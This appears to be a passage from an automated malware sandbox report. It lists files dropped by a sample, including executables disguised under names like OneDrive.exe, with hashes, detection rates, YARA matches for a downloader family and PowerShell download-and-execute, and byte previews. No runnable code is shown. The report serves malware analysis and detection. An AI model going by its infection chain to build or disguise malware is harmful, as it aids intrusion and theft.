SHA-512:	4CF79FF7A6AE355E8592A26FCB7A7CFF9ADAAFB1527F397EC4E86F8415329711C0A46685165E6D5A782EA00635AF0CDFC5ECE88F1C18A08DA1284CB14C3FEBEF
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.B.d.y.T.2.r.d.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.7.D.h.6.z.H.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.005121300951141
Encrypted:	false
SSDEEP:	96:xYaEleprjIPLZ816ZNM95gSN5OYa4UAVwSB3ZOPw:xGeljIPLZ81ANM9uSN5O1O3ZOPw
MD5:	FC85E6EB31ED2A13BE6B4499D85B7E77
SHA1:	0A760A5675D86E3B604FCF6A6AF0B3ECCB6F12D0
SHA-256:	6C147D21604F764FCCF7B99125CE8435D44000840D7631A20D3AE7D64003E4B6
SHA-512:	D3CB0F6CDF6FFBF8CEAE83B94DD2DE505FCB559F73D681176EDF79568EAF7A8B554C05F10D1A49B8E0504F3FE56A10451705E34A0B15744C7146A479D690B313
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".+.4.g.j.N.W.L.d.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.7.D.h.6.z.H.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\OneDrive[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12945034
Entropy (8bit):	7.987991966548952
Encrypted:	false
SSDEEP:	393216:szuRUAwf7vLF4NkW+eGQR6n/ikWMWfogBIv:szuRIx1W+e5R4qPDXe
MD5:	F468AE483026819D6977E2A5E34EA52A
SHA1:	BDCD08269C84863EACE14DC54D64C6F0AF41F332
SHA-256:	578778FA4D79588A14D0830D4E52DC55AEAD1CA8BF99C9672CBDAF6C7B58EB5C
SHA-512:	EA2056F8D41CE4DB455F9CACC7AC91919A8B35BB351BAFC08F5DF9F076B45369917DC06DFC944A83DC3AA99F535A680644F5EA97CFC4EB8DBBCCCE83D24590BD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Xhc.Xhc.Xhc...`._hc...f..hc...g.Rhc...[hc..`.Qhc..g.Ihc..f.phc...b.Shc.Xhb..hc.K.g.Ahc.K.a.Yhc.RichXhc.........PE..d....7.f.........."....(.......................@..........................................`.................................................l...x........+...`..."..............h.......................................@...............P............................text............................... ..`.rdata..B&.......(..................@..@.data....s..........................@....pdata..."...`...$..................@..@.rsrc....+.......,..................@..@.reloc..h...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\go[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.753377846417631
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfhxJ8Oq:Hq6+ouCpk2mpcWJ0r+QNTBfhnK
MD5:	A5E070181A6CD03264427E255B7CAD97
SHA1:	3117A3C6E86290479BB3D008B826BA28F49EC0BE
SHA-256:	B379D421F4C115469200325905C7B785A6D6D1E0CB6492CBFF65113E68DB45A7
SHA-512:	C9C4AD2114EBAEC5E9D18B34B5771A53C0FD5BE0035404242EA21D56E18D78097189E357D44E97F00C8A38F6ACA81A20878E5DAA7F39F79073AEB850855DAA2A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\go[1].exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	192000
Entropy (8bit):	6.396064528548989
Encrypted:	false
SSDEEP:	3072:c1VB1NFj5qD6o8KaxfE54HnnGiayl+beX8na5acUsRFrJKa:c171jj5q62aOanGiqbIzUGFdKa
MD5:	CA10BC5DBF009B6DF405C2CCBDD22EFB
SHA1:	D1C8F25DAC637BA857EC28A0FFCFAFA73E23A622
SHA-256:	3C2245FB7F3D374D8685A573A6CAFBE79B5807F0F8CBD52F0CF4A203B785AB06
SHA-512:	61D6EBA16EB34DCB230C15D11AAD0C8CE8C64B79A886C6ACFBF58DAC777F32521D2D9FFB9D645A6CC763BFC0AA9BBA403C469BA24EB814E3A009D0AB7F30DAF8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...P..f.....................B"......d............@..........................0$...........@....................................<.............................#.\|$...................................................................................text...J........................... ....rdata..............................@..@.data....+!.........................@....reloc..*D....#..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	290816
Entropy (8bit):	5.445881321727232
Encrypted:	false
SSDEEP:	6144:LmN7+89JLs1wUPSPB1JEMj5OmAA7kaSbT:Lyi89JWwUPSbD5CP
MD5:	57A35EB5298B9BEC9CD7FFC3FB8204F7
SHA1:	93381D2F35DF4D54134DB07167C2EEE616A2D3E9
SHA-256:	390163B1882726BBB614EE93E59B727FEAE9DFEC735D4813DCA8CAF709F65C48
SHA-512:	AA1381E1C1FC1003A1996A308940B816662A8560537205547E92F38EA7C70432BDD6E5AD86D8F9732258C33C4A14FAC764882B64633D58CA9819CCF54AB93F8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........G!GW&O.W&O.W&O.8P..D&O.8P..3&O.8P..H&O.^^..P&O.W&N.&&O.8P..V&O.8P..V&O.8P..V&O.RichW&O.........PE..L...x`.e.....................D....................@.........................................................................t<..P....`..@............................<...............................3..@............................................text............................... ..`.rdata..$6.......8..................@..@.data........P.......2..............@....rsrc...@....`......................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1879040
Entropy (8bit):	7.948729739938096
Encrypted:	false
SSDEEP:	49152:ILa2NeQ1KC15UUL4Cb/D9yH8ncUvuSbBGpcnmEJiA4P+yoOK:sNV1P150CzsccycGmEJiZP+y
MD5:	8DCA8723B206C803E7ACE213DF89B4F4
SHA1:	B5F6752C09E63F2278E423B3F93E4EEACF6F4CC4
SHA-256:	CC4CB57E8B5BA707022BC49E86BF7C26C645CBF3C838CCA83E36FB290CED2AB0
SHA-512:	A7928871C726CC5E04B4F55168731CBEA6C8BB2C5CBF2AB89F72F4F51D26317BF1A9A2555B1B8B8D60053C646C7D0A908AFC625965950AFE7D4852007DF38EF5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................J...........@...........................J..... .....@.................................X...l............................J.............................x.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .@*.........................@...xfxaajvq......0.....................@...zhkwsvqa......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000343001\OneDrive.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12945034
Entropy (8bit):	7.987991966548952
Encrypted:	false
SSDEEP:	393216:szuRUAwf7vLF4NkW+eGQR6n/ikWMWfogBIv:szuRIx1W+e5R4qPDXe
MD5:	F468AE483026819D6977E2A5E34EA52A
SHA1:	BDCD08269C84863EACE14DC54D64C6F0AF41F332
SHA-256:	578778FA4D79588A14D0830D4E52DC55AEAD1CA8BF99C9672CBDAF6C7B58EB5C
SHA-512:	EA2056F8D41CE4DB455F9CACC7AC91919A8B35BB351BAFC08F5DF9F076B45369917DC06DFC944A83DC3AA99F535A680644F5EA97CFC4EB8DBBCCCE83D24590BD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Xhc.Xhc.Xhc...`._hc...f..hc...g.Rhc...[hc..`.Qhc..g.Ihc..f.phc...b.Shc.Xhb..hc.K.g.Ahc.K.a.Yhc.RichXhc.........PE..d....7.f.........."....(.......................@..........................................`.................................................l...x........+...`..."..............h.......................................@...............P............................text............................... ..`.rdata..B&.......(..................@..@.data....s..........................@....pdata..."...`...$..................@..@.rsrc....+.......,..................@..@.reloc..h...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4770f826-5023-486b-8bda-8773713416f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41902
Category:	dropped
Size (bytes):	76319
Entropy (8bit):	7.996132588300074
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6w6DLZ8:GdS8scZNzFrMa4M+lK5/nEDd8
MD5:	24439F0E82F6A60E541FB2697F02043F
SHA1:	E3FAA84B0ED8CDD2268D53A0ECC6F3134D5EBD8F
SHA-256:	B24DD5C374F8BB381A48605D183B6590245EE802C65F643632A3BE9BB1F313C5
SHA-512:	8FD794657A9F80FDBC2350DC26A2C82DFD82266B934A4472B3319FDB870841C832137D4F5CE41D518859B8B1DA63031C6B7E750D301F87D6ECA45B958B147FCD
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\5e14b10e-3936-41d9-a409-3b3f99e1e053.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\61cfc111-6d17-49c7-94b0-64c9774ff3b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\6b1e964a-8768-498d-abb3-9d2221d8e3e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\8126.tmp\8127.tmp\8128.bat

Download File

Process:	C:\Users\userBKFCAFCFBA.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2821
Entropy (8bit):	4.949249124498804
Encrypted:	false
SSDEEP:	48:Nd27V5rN81fN80XUbaOUb5OzQ/iqzQ/hXDTjODAKpxVgXDOev0W:j6rrN81fN80Ebanb5OzQ/iqzQ/hTTj+y
MD5:	DE9423D9C334BA3DBA7DC874AA7DBC28
SHA1:	BF38B137B8D780B3D6D62AEE03C9D3F73770D638
SHA-256:	A1E1B422C40FB611A50D3F8BF34F9819F76DDB304AA2D105FB49F41F57752698
SHA-512:	63F13ACD904378AD7DE22053E1087D61A70341F1891ADA3B671223FEC8F841B42B6F1060A4B18C8BB865EE4CD071CADC7FF6BD6D549760945BF1645A1086F401
Malicious:	false
